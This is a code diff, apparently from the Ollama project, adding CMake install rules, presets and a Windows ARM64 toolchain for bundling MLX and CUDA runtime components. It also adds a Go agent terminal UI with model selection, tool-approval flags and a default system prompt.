+# so there is no runtime dependency. This path covers the stub build dir
+# for windows so we include the DLL in our dependencies.
+list(APPEND MLX_RUNTIME_DIRS ${CMAKE_BINARY_DIR}/_deps/mlx-build/mlx/distributed/nccl/nccl_stub-prefix/src/nccl_stub-build/Release)
+
+# Base regexes for runtime dependencies (cross-platform).
+set(MLX_INCLUDE_REGEXES cublas cublasLt cudart cufft nvrtc nvrtc-builtins cudnn nccl openblas gfortran)
+# On Windows, also include dl.dll (dlfcn-win32 POSIX emulation layer).
+if(WIN32)
+    list(APPEND MLX_INCLUDE_REGEXES "^dl\\.dll$")
+endif()
+
+# Keep mlx/mlxc targets separate from runtime dependencies so --strip only
+# applies to the binaries we build, not vendor DLLs/libs.
+install(TARGETS mlx mlxc
+    RUNTIME_DEPENDENCY_SET mlx_runtime_deps
+    RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
+    LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
+    FRAMEWORK DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
+)
+install(RUNTIME_DEPENDENCY_SET mlx_runtime_deps
+    DIRECTORIES ${MLX_RUNTIME_DIRS}
+    PRE_INCLUDE_REGEXES ${MLX_INCLUDE_REGEXES}
+    PRE_EXCLUDE_REGEXES ".*"
+    RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX_VENDOR
+    LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX_VENDOR
+)
+
+get_target_property(_MLX_LINK_LIBRARIES mlx LINK_LIBRARIES)
+if(TARGET jaccl AND "jaccl" IN_LIST _MLX_LINK_LIBRARIES)
+    install(TARGETS jaccl
+        RUNTIME DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
+        LIBRARY DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
+        FRAMEWORK DESTINATION ${OLLAMA_INSTALL_DIR} COMPONENT MLX
+    )
+endif()
+
+# Install the Metal library for macOS arm64 (must be colocated with the binary).
+# Metal backend is only built for arm64, not x86_64.
+if(APPLE AND CMAKE_SYSTEM_PROCESSOR STREQUAL "arm64")
+    install(FILES ${CMAKE_BINARY_DIR}/_deps/mlx-build/mlx/backend/metal/kernels/mlx.metallib
+        DESTINATION ${OLLAMA_INSTALL_DIR}
+        COMPONENT MLX)
+endif()
+
+# Install headers for NVRTC JIT compilation at runtime.
+# MLX's own install rules use the default component so they get skipped by
+# --component MLX. Headers are installed alongside libmlx in OLLAMA_INSTALL_DIR.
+#
+# Layout:
+#   ${OLLAMA_INSTALL_DIR}/include/cccl/            - CCCL headers
+#   ${OLLAMA_INSTALL_DIR}/include/{cute,cutlass}/  - CUTLASS/CUTE headers
+#   ${OLLAMA_INSTALL_DIR}/include/                 - CUDA runtime/core headers
+#
+# MLX's jit_module.cpp resolves JIT support headers from the backend-local
+# include directory. On Linux it also probes current_binary_dir().parent_path()
+# / "include", so we create a symlink from lib/ollama/include to the backend
+# include directory for archive packaging.
+# This will need refinement if we add multiple CUDA versions for MLX in the future.
+# CUDA runtime headers are found via CUDA_PATH env var (set by mlxrunner).
+set(_mlx_jit_cccl_include_dir "")
+if(CUDAToolkit_FOUND)
+    foreach(_dir ${CUDAToolkit_INCLUDE_DIRS})
+        if(EXISTS "${_dir}/cccl/cuda/std")
+            set(_mlx_jit_cccl_include_dir "${_dir}/cccl")
+            break()
+        endif()
+    endforeach()
+endif()
+if(NOT _mlx_jit_cccl_include_dir AND EXISTS ${CMAKE_BINARY_DIR}/_deps/cccl-src/include/cuda)
+    set(_mlx_jit_cccl_include_dir "${CMAKE_BINARY_DIR}/_deps/cccl-src/include")
+endif()
+if(_mlx_jit_cccl_include_dir)
+    foreach(_cccl_dir cuda nv cub thrust)
+        if(EXISTS "${_mlx_jit_cccl_include_dir}/${_cccl_dir}")
+            install(DIRECTORY "${_mlx_jit_cccl_include_dir}/${_cccl_dir}"
+                DESTINATION ${OLLAMA_INSTALL_DIR}/include/cccl
+                COMPONENT MLX)
+        endif()
+    endforeach()
+endif()
+if(EXISTS ${CMAKE_BINARY_DIR}/_deps/cutlass-src/include/cute)
+    install(DIRECTORY ${CMAKE_BINARY_DIR}/_deps/cutlass-src/include/cute
+        DESTINATION ${OLLAMA_INSTALL_DIR}/include
+        COMPONENT MLX)
+    install(DIRECTORY ${CMAKE_BINARY_DIR}/_deps/cutlass-src/include/cutlass
+        DESTINATION ${OLLAMA_INSTALL_DIR}/include
+        COMPONENT MLX)
+endif()
+
+# Install CUDA runtime/core headers needed by MLX JIT kernels.
+# NVIDIA's NVRTC bundled-header model is CUDA Runtime + CCCL, not the entire
+# toolkit include tree. Keep CCCL coherent above, include CUTLASS/CUTE above,
+# and avoid shipping unrelated SDK headers such as NPP, CUPTI, cuRAND, NVML,
+# cuBLAS, cuSPARSE, and cuSOLVER.
+# The Go mlxrunner sets CUDA_PATH to OLLAMA_INSTALL_DIR so MLX finds them at
+# $CUDA_PATH/include via NVRTC --include-path.
+if(CUDAToolkit_FOUND)
+    # CUDAToolkit_INCLUDE_DIRS may be a semicolon-separated list
+    # (e.g. ".../include;.../include/cccl"). Find the entry that
+    # contains the CUDA runtime headers we need.
+    set(_cuda_inc "")
+    foreach(_dir ${CUDAToolkit_INCLUDE_DIRS})
+        if(EXISTS "${_dir}/cuda_runtime_api.h")
+            set(_cuda_inc "${_dir}")
+            break()
+        endif()
+    endforeach()
+    if(NOT _cuda_inc)
+        message(WARNING "Could not find cuda_runtime_api.h in CUDAToolkit_INCLUDE_DIRS: ${CUDAToolkit_INCLUDE_DIRS}")
+    else()
+        set(_dst "${OLLAMA_INSTALL_DIR}/include")
+
+        set(_mlx_jit_cuda_headers
+            builtin_types.h
+            channel_descriptor.h
+            common_functions.h
+            cooperative_groups.h
+            cuComplex.h
+            cuda.h
+            cudaTypedefs.h
+            cuda_awbarrier.h
+            cuda_awbarrier_helpers.h
+            cuda_awbarrier_primitives.h
+            cuda_bf16.h
+            cuda_bf16.hpp
+            cuda_device_runtime_api.h
+            cuda_fp4.h
+            cuda_fp4.hpp
+            cuda_fp6.h
+            cuda_fp6.hpp
+            cuda_fp8.h
+            cuda_fp8.hpp
+            cuda_fp16.h
+            cuda_fp16.hpp
+            cuda_occupancy.h
+            cuda_pipeline.h
+            cuda_pipeline_helpers.h
+            cuda_pipeline_primitives.h
+            cuda_runtime.h
+            cuda_runtime_api.h
+            cuda_stdint.h
+            cudart_platform.h
+            device_atomic_functions.h
+            device_atomic_functions.hpp
+            device_double_functions.h
+            device_functions.h
+            device_launch_parameters.h
+            device_types.h
+            driver_functions.h
+            driver_types.h
+            fatbinary_section.h
+            host_config.h
+            host_defines.h
+            library_types.h
+            math_constants.h
+            math_functions.h
+            mma.h
+            nvrtc_device_runtime.h
+            sm_20_atomic_functions.h
+            sm_20_atomic_functions.hpp
+            sm_20_intrinsics.h
+            sm_20_intrinsics.hpp
+            sm_30_intrinsics.h
+            sm_30_intrinsics.hpp
+            sm_32_atomic_functions.h
+            sm_32_atomic_functions.hpp
+            sm_32_intrinsics.h
+            sm_32_intrinsics.hpp
+            sm_35_atomic_functions.h
+            sm_35_intrinsics.h
+            sm_60_atomic_functions.h
+            sm_60_atomic_functions.hpp
+            sm_61_intrinsics.h
+            sm_61_intrinsics.hpp
+            surface_indirect_functions.h
+            surface_types.h
+            target
+            texture_indirect_functions.h
+            texture_types.h
+            vector_functions.h
+            vector_functions.hpp
+            vector_types.h)
+        set(_mlx_jit_cuda_header_paths "")
+        foreach(_header IN LISTS _mlx_jit_cuda_headers)
+            if(EXISTS "${_cuda_inc}/${_header}")
+                list(APPEND _mlx_jit_cuda_header_paths "${_cuda_inc}/${_header}")
+            endif()
+        endforeach()
+        if(_mlx_jit_cuda_header_paths)
+            install(FILES ${_mlx_jit_cuda_header_paths}
+                DESTINATION ${_dst}
+                COMPONENT MLX)
+        endif()
+
+        foreach(_runtime_dir cooperative_groups crt)
+            if(EXISTS "${_cuda_inc}/${_runtime_dir}")
+                install(DIRECTORY "${_cuda_inc}/${_runtime_dir}"
+                    DESTINATION ${_dst}
+                    COMPONENT MLX)
+            endif()
+        endforeach()
+
+        if(NOT WIN32 AND NOT APPLE)
+            install(CODE "
+                set(_link \"${CMAKE_INSTALL_PREFIX}/${OLLAMA_LIB_DIR}/include\")
+                set(_target \"${OLLAMA_RUNNER_DIR}/include\")
+                if(NOT EXISTS \${_link})
+                    execute_process(COMMAND \${CMAKE_COMMAND} -E create_symlink \${_target} \${_link})
+                endif()
+            " COMPONENT MLX)
+        endif()
+    endif()
+endif()
+
+# On Windows, explicitly install dl.dll (dlfcn-win32 POSIX dlopen emulation).
+# RUNTIME_DEPENDENCIES auto-excludes it via POST_EXCLUDE_FILES_STRICT because
+# dlfcn-win32 is a known CMake target with its own install rules (which install
+# to the wrong destination). We must install it explicitly here.
+if(WIN32)
+    install(FILES ${OLLAMA_BUILD_DIR}/dl.dll
+        DESTINATION ${OLLAMA_INSTALL_DIR}
+        COMPONENT MLX)
+endif()
+
+# Manually install CUDA runtime libraries that MLX loads via dlopen
+# (not detected by RUNTIME_DEPENDENCIES since they aren't link-time deps).
+if(CUDAToolkit_FOUND)
+    file(GLOB MLX_CUDA_LIBS
+        "${CUDAToolkit_LIBRARY_DIR}/libcudart.so*"
+        "${CUDAToolkit_LIBRARY_DIR}/libcublas.so*"
+        "${CUDAToolkit_LIBRARY_DIR}/libcublasLt.so*"
+        "${CUDAToolkit_LIBRARY_DIR}/libnvrtc.so*"
+        "${CUDAToolkit_LIBRARY_DIR}/libnvrtc-builtins.so*"
+        "${CUDAToolkit_LIBRARY_DIR}/libcufft.so*"
+        "${CUDAToolkit_LIBRARY_DIR}/libcudnn.so*")
+    if(MLX_CUDA_LIBS)
+        install(FILES ${MLX_CUDA_LIBS}
+            DESTINATION ${OLLAMA_INSTALL_DIR}
+            COMPONENT MLX_VENDOR)
+    endif()
+endif()

cmake/mlx/CMakePresets.json

@@ -0,0 +1,90 @@
+{
+  "version": 3,
+  "configurePresets": [
+    {
+      "name": "default",
+      "binaryDir": "${sourceDir}/../../build/mlx",
+      "installDir": "${sourceDir}/../../dist",
+      "cacheVariables": {
+        "CMAKE_BUILD_TYPE": "Release",
+        "CMAKE_MSVC_RUNTIME_LIBRARY": "MultiThreaded",
+        "OLLAMA_SOURCE_DIR": "${sourceDir}/../.."
+      }
+    },
+    {
+      "name": "mlx_cuda_v13_base",
+      "hidden": true,
+      "inherits": [ "default" ],
+      "cacheVariables": {
+        "CMAKE_CUDA_FLAGS": "-t 2",
+        "OLLAMA_RUNNER_DIR": "mlx_cuda_v13"
+      }
+    },
+    {
+      "name": "mlx_cuda_v13_linux",
+      "inherits": [ "mlx_cuda_v13_base" ],
+      "binaryDir": "${sourceDir}/../../build/mlx_cuda_v13",
+      "cacheVariables": {
+        "MLX_CUDA_ARCHITECTURES": "75-virtual;80-virtual;86-virtual;89-virtual;90-virtual;90a-virtual;100-virtual;103-virtual;110-virtual;120-virtual;121-virtual"
+      }
+    },
+    {
+      "name": "mlx_cuda_v13_windows",
+      "inherits": [ "mlx_cuda_v13_base" ],
+      "binaryDir": "${sourceDir}/../../build/mlx_cuda_v13",
+      "cacheVariables": {
+        "MLX_CUDA_ARCHITECTURES": "75-virtual;80-virtual;86-virtual;89-virtual;90-virtual;90a-virtual;100-virtual;103-virtual;110-virtual;120-virtual;121-virtual"
+      }
+    },
+    {
+      "name": "mlx_cuda_v13_user_arch",
+      "inherits": [ "mlx_cuda_v13_base" ],
+      "binaryDir": "${sourceDir}/../../build/mlx_cuda_v13"
+    },
+    {
+      "name": "mlx_metal_v3",
+      "inherits": [ "default" ],
+      "binaryDir": "${sourceDir}/../../build/metal-v3",
+      "cacheVariables": {
+        "CMAKE_OSX_DEPLOYMENT_TARGET": "14.0",
+        "OLLAMA_RUNNER_DIR": "mlx_metal_v3"
+      }
+    },
+    {
+      "name": "mlx_metal_v4",
+      "inherits": [ "default" ],
+      "binaryDir": "${sourceDir}/../../build/metal-v4",
+      "cacheVariables": {
+        "CMAKE_OSX_DEPLOYMENT_TARGET": "26.2",
+        "OLLAMA_RUNNER_DIR": "mlx_metal_v4"
+      }
+    }
+  ],
+  "buildPresets": [
+    {
+      "name": "mlx_cuda_v13_linux",
+      "configurePreset": "mlx_cuda_v13_linux",
+      "targets": [ "mlx", "mlxc" ]
+    },
+    {
+      "name": "mlx_cuda_v13_windows",
+      "configurePreset": "mlx_cuda_v13_windows",
+      "targets": [ "mlx", "mlxc" ]
+    },
+    {
+      "name": "mlx_cuda_v13_user_arch",
+      "configurePreset": "mlx_cuda_v13_user_arch",
+      "targets": [ "mlx", "mlxc" ]
+    },
+    {
+      "name": "mlx_metal_v3",
+      "configurePreset": "mlx_metal_v3",
+      "targets": [ "mlx", "mlxc" ]
+    },
+    {
+      "name": "mlx_metal_v4",
+      "configurePreset": "mlx_metal_v4",
+      "targets": [ "mlx", "mlxc" ]
+    }
+  ]
+}

cmake/vendor-mlx-c-headers.cmake

@@ -0,0 +1,14 @@
+if(NOT DEFINED MLX_C_HEADERS_DIR OR NOT IS_DIRECTORY "${MLX_C_HEADERS_DIR}")
+    message(FATAL_ERROR "MLX_C_HEADERS_DIR does not exist: ${MLX_C_HEADERS_DIR}")
+endif()
+if(NOT DEFINED MLX_C_HEADERS_DEST OR "${MLX_C_HEADERS_DEST}" STREQUAL "")
+    message(FATAL_ERROR "MLX_C_HEADERS_DEST is required")
+endif()
+
+file(GLOB _mlx_c_headers LIST_DIRECTORIES false "${MLX_C_HEADERS_DIR}/*.h")
+if(NOT _mlx_c_headers)
+    message(FATAL_ERROR "No MLX-C headers found in ${MLX_C_HEADERS_DIR}")
+endif()
+
+file(MAKE_DIRECTORY "${MLX_C_HEADERS_DEST}")
+file(COPY ${_mlx_c_headers} DESTINATION "${MLX_C_HEADERS_DEST}")

cmake/windows-arm64-llvm-mingw.cmake

@@ -0,0 +1,69 @@
+set(CMAKE_SYSTEM_NAME Windows)
+set(CMAKE_SYSTEM_PROCESSOR ARM64)
+
+set(_ollama_llvm_mingw_hints)
+if(DEFINED ENV{ProgramFiles})
+    file(GLOB _ollama_program_files_llvm_mingw_bins
+        LIST_DIRECTORIES true
+        "$ENV{ProgramFiles}/llvm-mingw-*-x86_64*/bin")
+    list(SORT _ollama_program_files_llvm_mingw_bins COMPARE NATURAL ORDER DESCENDING)
+    list(APPEND _ollama_llvm_mingw_hints ${_ollama_program_files_llvm_mingw_bins})
+endif()
+if(DEFINED ENV{LOCALAPPDATA})
+    file(GLOB _ollama_winget_llvm_mingw_bins
+        LIST_DIRECTORIES true
+        "$ENV{LOCALAPPDATA}/Microsoft/WinGet/Packages/MartinStorsjo.LLVM-MinGW*/llvm-mingw-*-x86_64*/bin")
+    list(SORT _ollama_winget_llvm_mingw_bins COMPARE NATURAL ORDER DESCENDING)
+    list(APPEND _ollama_llvm_mingw_hints ${_ollama_winget_llvm_mingw_bins})
+endif()
+
+if(NOT CMAKE_C_COMPILER)
+    find_program(CMAKE_C_COMPILER
+        NAMES aarch64-w64-mingw32-gcc
+        HINTS ${_ollama_llvm_mingw_hints}
+        REQUIRED)
+endif()
+
+if(NOT CMAKE_CXX_COMPILER)
+    find_program(CMAKE_CXX_COMPILER
+        NAMES aarch64-w64-mingw32-g++
+        HINTS ${_ollama_llvm_mingw_hints}
+        REQUIRED)
+endif()
+
+get_filename_component(_ollama_llvm_mingw_bin_dir "${CMAKE_CXX_COMPILER}" DIRECTORY)
+
+if(NOT HOST_CXX_COMPILER)
+    find_program(_ollama_path_host_cxx
+        NAMES clang++ g++
+        NO_CMAKE_FIND_ROOT_PATH)
+    if(_ollama_path_host_cxx)
+        set(HOST_CXX_COMPILER "${_ollama_path_host_cxx}")
+    endif()
+endif()
+if(NOT HOST_CXX_COMPILER)
+    find_program(_ollama_mingw_host_cxx
+        NAMES x86_64-w64-mingw32-g++
+        HINTS "${_ollama_llvm_mingw_bin_dir}"
+        REQUIRED)
+    if(CMAKE_HOST_WIN32)
+        # llama.cpp builds a small host-only UI embedding tool during
+        # cross-compiles, but currently models HOST_CXX_COMPILER as only an
+        # executable path and has no companion host flags hook. When the host
+        # compiler is llvm-mingw, the generated host tool otherwise depends on
+        # llvm-mingw runtime DLLs being on PATH. Keep that workaround local and
+        # explicit: wrap the compiler only to add -static for this host tool.
+        set(_ollama_host_cxx_wrapper "${CMAKE_BINARY_DIR}/ollama-host-cxx.cmd")
+        file(TO_NATIVE_PATH "${_ollama_mingw_host_cxx}" _ollama_mingw_host_cxx_native)
+        file(WRITE "${_ollama_host_cxx_wrapper}"
+            "@echo off\r\n"
+            "\"${_ollama_mingw_host_cxx_native}\" -static %*\r\n")
+        set(HOST_CXX_COMPILER "${_ollama_host_cxx_wrapper}")
+    else()
+        set(HOST_CXX_COMPILER "${_ollama_mingw_host_cxx}")
+    endif()
+endif()
+set(HOST_CXX_COMPILER "${HOST_CXX_COMPILER}" CACHE FILEPATH "Host C++ compiler for build-time tools" FORCE)
+
+string(PREPEND CMAKE_C_FLAGS_INIT "-D_WIN32_WINNT=0x0A00 ")
+string(PREPEND CMAKE_CXX_FLAGS_INIT "-D_WIN32_WINNT=0x0A00 ")

cmd/agent_tui.go

@@ -0,0 +1,863 @@
+package cmd
+
+import (
+	"context"
+	"errors"
+	"fmt"
+	"net/http"
+	"os"
+	"runtime"
+	"slices"
+	"strconv"
+	"strings"
+	"time"
+
+	"github.com/spf13/cobra"
+
+	coreagent "github.com/ollama/ollama/agent"
+	agenttools "github.com/ollama/ollama/agent/tools"
+	"github.com/ollama/ollama/api"
+	"github.com/ollama/ollama/cmd/config"
+	"github.com/ollama/ollama/cmd/launch"
+	agentchat "github.com/ollama/ollama/cmd/tui/chat"
+	"github.com/ollama/ollama/format"
+	internalcloud "github.com/ollama/ollama/internal/cloud"
+	"github.com/ollama/ollama/internal/modelref"
+	"github.com/ollama/ollama/types/model"
+)
+
+type agentTUIOptions struct {
+	Model               string
+	OpenModelPicker     bool
+	System              string
+	Format              string
+	Options             map[string]any
+	Think               *api.ThinkValue
+	KeepAlive           *api.Duration
+	ContextWindowTokens int
+	AllowAllTools       bool
+	ToolsDisabled       bool
+	MultiModal          bool
+}
+
+func registerAgentFlags(cmd *cobra.Command) {
+	cmd.Flags().String("model", "", "Model to use")
+	cmd.Flags().String("keepalive", "", "Duration to keep a model loaded (e.g. 5m)")
+	cmd.Flags().String("format", "", "Response format (e.g. json)")
+	cmd.Flags().String("think", "", "Enable thinking mode: true/false or high/medium/low for supported models")
+	cmd.Flags().Lookup("think").NoOptDefVal = "true"
+	cmd.Flags().Bool("auto-approve-tools", false, "Allow agent tools to run without prompting")
+	cmd.Flags().Bool("yolo", false, "Alias for --auto-approve-tools")
+	cmd.Flags().Bool("no-tools", false, "Disable agent tools")
+}
+
+func AgentHandler(cmd *cobra.Command, _ []string) error {
+	opts := agentTUIOptions{
+		Model:   strings.TrimSpace(config.LastModel()),
+		Options: map[string]any{},
+	}
+	thinkExplicit, err := applyAgentFlags(cmd, &opts)
+	if err != nil {
+		return err
+	}
+
+	if strings.TrimSpace(opts.Model) == "" {
+		opts.OpenModelPicker = true
+	} else if cmd.Flags().Lookup("model") == nil || !cmd.Flags().Lookup("model").Changed {
+		opts.OpenModelPicker = true
+	}
+
+	client, err := api.ClientFromEnvironment()
+	if err != nil {
+		return err
+	}
+
+	if opts.OpenModelPicker {
+		modelName, err := selectAgentModel(cmd.Context(), client, opts.Model)
+		if errors.Is(err, launch.ErrCancelled) {
+			return nil
+		}
+		if err != nil {
+			return err
+		}
+		opts.Model = modelName
+		opts.OpenModelPicker = false
+	}
+
+	if strings.TrimSpace(opts.Model) != "" {
+		info, err := prepareAgentModel(cmd, client, &opts, thinkExplicit)
+		if err != nil {
+			if handleCloudAuthorizationError(err) {
+				return nil
+			}
+			return err
+		}
+		opts.System = info.System
+		if err := saveLastAgentModel(opts.Model); err != nil {
+			return err
+		}
+	}
+
+	if err := GenerateAgentTUI(cmd, client, opts); err != nil {
+		if handleCloudAuthorizationError(err) {
+			return nil
+		}
+		return fmt.Errorf("error running agent: %w", err)
+	}
+	return nil
+}
+
+func applyAgentFlags(cmd *cobra.Command, opts *agentTUIOptions) (bool, error) {
+	if flag := cmd.Flags().Lookup("model"); flag != nil && flag.Changed {
+		modelName, err := cmd.Flags().GetString("model")
+		if err != nil {
+			return false, err
+		}
+		modelName = strings.TrimSpace(modelName)
+		if modelName == "" {
+			return false, errors.New("--model cannot be empty")
+		}
+		opts.Model = modelName
+		opts.OpenModelPicker = false
+	}
+
+	format, err := cmd.Flags().GetString("format")
+	if err != nil {
+		return false, err
+	}
+	opts.Format = format
+
+	thinkExplicit := false
+	thinkFlag := cmd.Flags().Lookup("think")
+	if thinkFlag != nil && thinkFlag.Changed {
+		thinkExplicit = true
+		thinkStr, err := cmd.Flags().GetString("think")
+		if err != nil {
+			return false, err
+		}
+		switch thinkStr {
+		case "", "true":
+			opts.Think = &api.ThinkValue{Value: true}
+		case "false":
+			opts.Think = &api.ThinkValue{Value: false}
+		case "high", "medium", "low", "max":
+			opts.Think = &api.ThinkValue{Value: thinkStr}
+		default:
+			return false, fmt.Errorf("invalid value for --think: %q (must be true, false, high, medium, low, or max)", thinkStr)
+		}
+	}
+
+	keepAlive, err := cmd.Flags().GetString("keepalive")
+	if err != nil {
+		return false, err
+	}
+	if keepAlive != "" {
+		d, err := time.ParseDuration(keepAlive)
+		if err != nil {
+			return false, err
+		}
+		opts.KeepAlive = &api.Duration{Duration: d}
+	}
+
+	autoApprove, err := cmd.Flags().GetBool("auto-approve-tools")
+	if err != nil {
+		return false, err
+	}
+	yolo, err := cmd.Flags().GetBool("yolo")
+	if err != nil {
+		return false, err
+	}
+	opts.AllowAllTools = autoApprove || yolo
+	toolsDisabled, err := cmd.Flags().GetBool("no-tools")
+	if err != nil {
+		return false, err
+	}
+	opts.ToolsDisabled = toolsDisabled
+	return thinkExplicit, nil
+}
+
+func saveLastAgentModel(model string) error {
+	model = strings.TrimSpace(model)
+	if model == "" {
+		return nil
+	}
+	return config.SetLastModel(model)
+}
+
+func prepareAgentModel(cmd *cobra.Command, client *api.Client, opts *agentTUIOptions, thinkExplicit bool) (*api.ShowResponse, error) {
+	requestedCloud := modelref.HasExplicitCloudSource(opts.Model)
+	info, err := func() (*api.ShowResponse, error) {
+		info, err := client.Show(cmd.Context(), &api.ShowRequest{Model: opts.Model})
+		var se api.StatusError
+		if errors.As(err, &se) && se.StatusCode == http.StatusNotFound {
+			if requestedCloud {
+				return nil, err
+			}
+			if err := PullHandler(cmd, []string{opts.Model}); err != nil {
+				return nil, err
+			}
+			return client.Show(cmd.Context(), &api.ShowRequest{Model: opts.Model})
+		}
+		return info, err
+	}()
+	if err != nil {
+		return nil, err
+	}
+
+	ensureCloudStub(cmd.Context(), client, opts.Model)
+	opts.Think, err = inferThinkingOption(&info.Capabilities, &runOptions{Model: opts.Model, Think: opts.Think}, thinkExplicit)
+	if err != nil {
+		return nil, err
+	}
+	opts.MultiModal = showResponseSupportsMultimodal(info)
+	opts.ContextWindowTokens = showResponseContextWindow(info)
+	return info, nil
+}
+
+func GenerateAgentTUI(cmd *cobra.Command, client *api.Client, opts agentTUIOptions) error {
+	cwd := agentWorkingDir()
+	contextWindowForModel := func(ctx context.Context, model string, fallback int) int {
+		return agentContextWindowForModel(ctx, client, model, fallback)
+	}
+
+	skillCatalog, err := coreagent.LoadDefaultSkills(cwd)
+	if err != nil {
+		return fmt.Errorf("load agent skills: %w", err)
+	}
+	for _, diagnostic := range skillCatalog.Diagnostics() {
+		fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m ignored invalid agent skill: %v\n", diagnostic)
+	}
+	var registry *coreagent.Registry
+	registryForModel := func(ctx context.Context, model string) *coreagent.Registry {
+		return agentToolsRegistry(ctx, client, model, skillCatalog)
+	}
+	if opts.Model != "" {
+		registry = agentToolsRegistry(cmd.Context(), client, opts.Model, skillCatalog)
+	}
+	systemPrompt := agentSystemPromptWithWorkingDir(opts.Model, opts.System, agentSkillSystemContext(skillCatalog, registry, opts.ToolsDisabled), cwd)
+
+	_, err = agentchat.Run(cmd.Context(), agentchat.Options{
+		Model:                opts.Model,
+		Client:               client,
+		Tools:                registry,
+		ToolRegistryForModel: registryForModel,
+		ToolsDisabled:        opts.ToolsDisabled,
+		MultiModalForModel: func(ctx context.Context, model string) bool {
+			return agentModelSupportsMultimodal(ctx, client, model)
+		},
+		ModelOptions: func(ctx context.Context) ([]agentchat.ModelOption, error) {
+			return agentModelOptions(ctx, client)
+		},
+		OnModelSelected: func(_ context.Context, model string) error {
+			return config.SetLastModel(model)
+		},
+		SystemPromptForModel: func(ctx context.Context, model string, registry *coreagent.Registry, toolsDisabled bool) string {
+			return agentSystemPromptWithWorkingDir(model, agentSystemFromShow(ctx, client, model), agentSkillSystemContext(skillCatalog, registry, toolsDisabled), cwd)
+		},
+		Skills:              skillCatalog,
+		SystemPrompt:        systemPrompt,
+		WorkingDir:          cwd,
+		Format:              opts.Format,
+		Options:             opts.Options,
+		Think:               opts.Think,
+		KeepAlive:           opts.KeepAlive,
+		MultiModal:          opts.MultiModal,
+		AllowAllTools:       opts.AllowAllTools,
+		ContextWindowTokens: opts.ContextWindowTokens,
+		Compactor: &coreagent.SimpleCompactor{
+			Client:  client,
+			Options: coreagent.CompactionOptions{ContextWindowTokens: opts.ContextWindowTokens},
+		},
+		ContextWindowTokensForModel: func(ctx context.Context, model string, fallback int) int {
+			return contextWindowForModel(ctx, model, fallback)
+		},
+		PreloadModel: func(ctx context.Context, model string, think *api.ThinkValue) (int, error) {
+			return preloadAgentModelIfLocal(ctx, client, opts, model, think)
+		},
+		CheckCloudModel: func(ctx context.Context, model, requiredPlan string) error {
+			return ensureCloudModelAccess(ctx, client, model, requiredPlan)
+		},
+		OpenBrowser: launch.OpenBrowser,
+		PollCloudAuth: func(ctx context.Context) (string, bool, error) {
+			user, err := client.Whoami(ctx)
+			if err != nil {
+				return "", false, err
+			}
+			if user == nil || user.Name == "" {
+				return "", false, nil
+			}
+			return user.Name, true, nil
+		},
+	})
+	return err
+}
+
+func agentSkillSystemContext(catalog *coreagent.SkillCatalog, registry *coreagent.Registry, toolsDisabled bool) string {
+	if toolsDisabled || registry == nil {
+		return ""
+	}
+	if _, ok := registry.Get("skill"); !ok {
+		return ""
+	}
+	return catalog.SystemContext()
+}
+
+func selectAgentModel(ctx context.Context, client *api.Client, current string) (string, error) {
+	models, err := agentModelOptions(ctx, client)
+	if err != nil {
+		return "", err
+	}
+	if len(models) == 0 {
+		return "", errors.New("no models available, run 'ollama pull <model>' first")
+	}
+
+	items := agentSelectionItems(models)
+	switch {
+	case launch.DefaultSingleSelectorWithUpdates != nil:
+		return launch.DefaultSingleSelectorWithUpdates("Select model to run:", items, current, nil)
+	case launch.DefaultSingleSelector != nil:
+		return launch.DefaultSingleSelector("Select model to run:", items, current)
+	default:
+		return "", errors.New("no selector configured")
+	}
+}
+
+func agentSelectionItems(models []agentchat.ModelOption) []launch.SelectionItem {
+	items := make([]launch.SelectionItem, 0, len(models))
+	for _, model := range models {
+		items = append(items, launch.SelectionItem{
+			Name:              model.Name,
+			Description:       agentSelectionDescription(model),
+			Recommended:       model.Recommended,
+			AvailabilityBadge: model.AvailabilityBadge,
+		})
+	}
+	return items
+}
+
+func agentSelectionDescription(model agentchat.ModelOption) string {
+	return strings.TrimSpace(model.Description)
+}
+
+var agentGetwd = os.Getwd
+
+func agentWorkingDir() string {
+	cwd, err := agentGetwd()
+	if err != nil {
+		return ""
+	}
+	return cwd
+}
+
+func agentSystemPromptWithWorkingDir(modelName string, modelSystem string, extra string, workingDir string) string {
+	return agentSystemPromptAtWithWorkingDir(time.Now(), modelName, modelSystem, extra, workingDir)
+}
+
+func agentSystemPromptAtWithWorkingDir(now time.Time, modelName string, modelSystem string, extra string, workingDir string) string {
+	var parts []string
+	parts = append(parts, agentDefaultSystemPromptWithWorkingDir(now, modelName, workingDir))
+	if strings.TrimSpace(modelSystem) != "" {
+		parts = append(parts, strings.TrimSpace(modelSystem))
+	}
+	if strings.TrimSpace(extra) != "" {
+		parts = append(parts, strings.TrimSpace(extra))
+	}
+	return strings.Join(parts, "\n\n")
+}
+
+func agentDefaultSystemPromptWithWorkingDir(now time.Time, modelName string, workingDir string) string {
+	date := now.Format("Monday, January 2, 2006")
+	shellName := "bash"
+	if runtime.GOOS == "windows" {
+		shellName = "PowerShell"
+	}
+	parts := []string{
+		"You are running in Ollama, in a harness to help the user accomplish tasks, and the model is " + modelName + ".",
+		"",
+		"Current date: " + date + ".",
+		"",
+	}
+	parts = append(parts,
+		"Be concise, practical, and action-oriented. Use tools when they materially help. Verify current or fast-changing facts with web tools when available; otherwise state uncertainty.",
+		"",
+		"Use "+shellName+" carefully. Prefer read-only inspection first. Stay within the current working directory unless explicitly asked. Surface intent before risky actions such as writes, deletes, moves, installs, git state changes, service changes, sudo, secrets access, network scripts, or commands outside the working directory. Request approval when required and do not work around denied approvals.",
+		"",
+		"Tell the user about meaningful changes, verification, failures, blockers, assumptions, and risks. Summarize routine tool output instead of dumping it.",
+	)
+	if workingDir != "" {
+		parts = append(parts, "Current working directory: "+strconv.Quote(workingDir)+".")
+	}
+	return strings.Join(parts, "\n")
+}
+
+func agentSystemFromShow(ctx context.Context, client *api.Client, modelName string) string {
+	if client == nil || strings.TrimSpace(modelName) == "" {
+		return ""
+	}
+	resp, err := client.Show(ctx, &api.ShowRequest{Model: modelName})
+	if err != nil {
+		fmt.Fprintf(os.Stderr, "\033[1mwarning:\033[0m could not load model system prompt: %v\n", err)
+		return ""
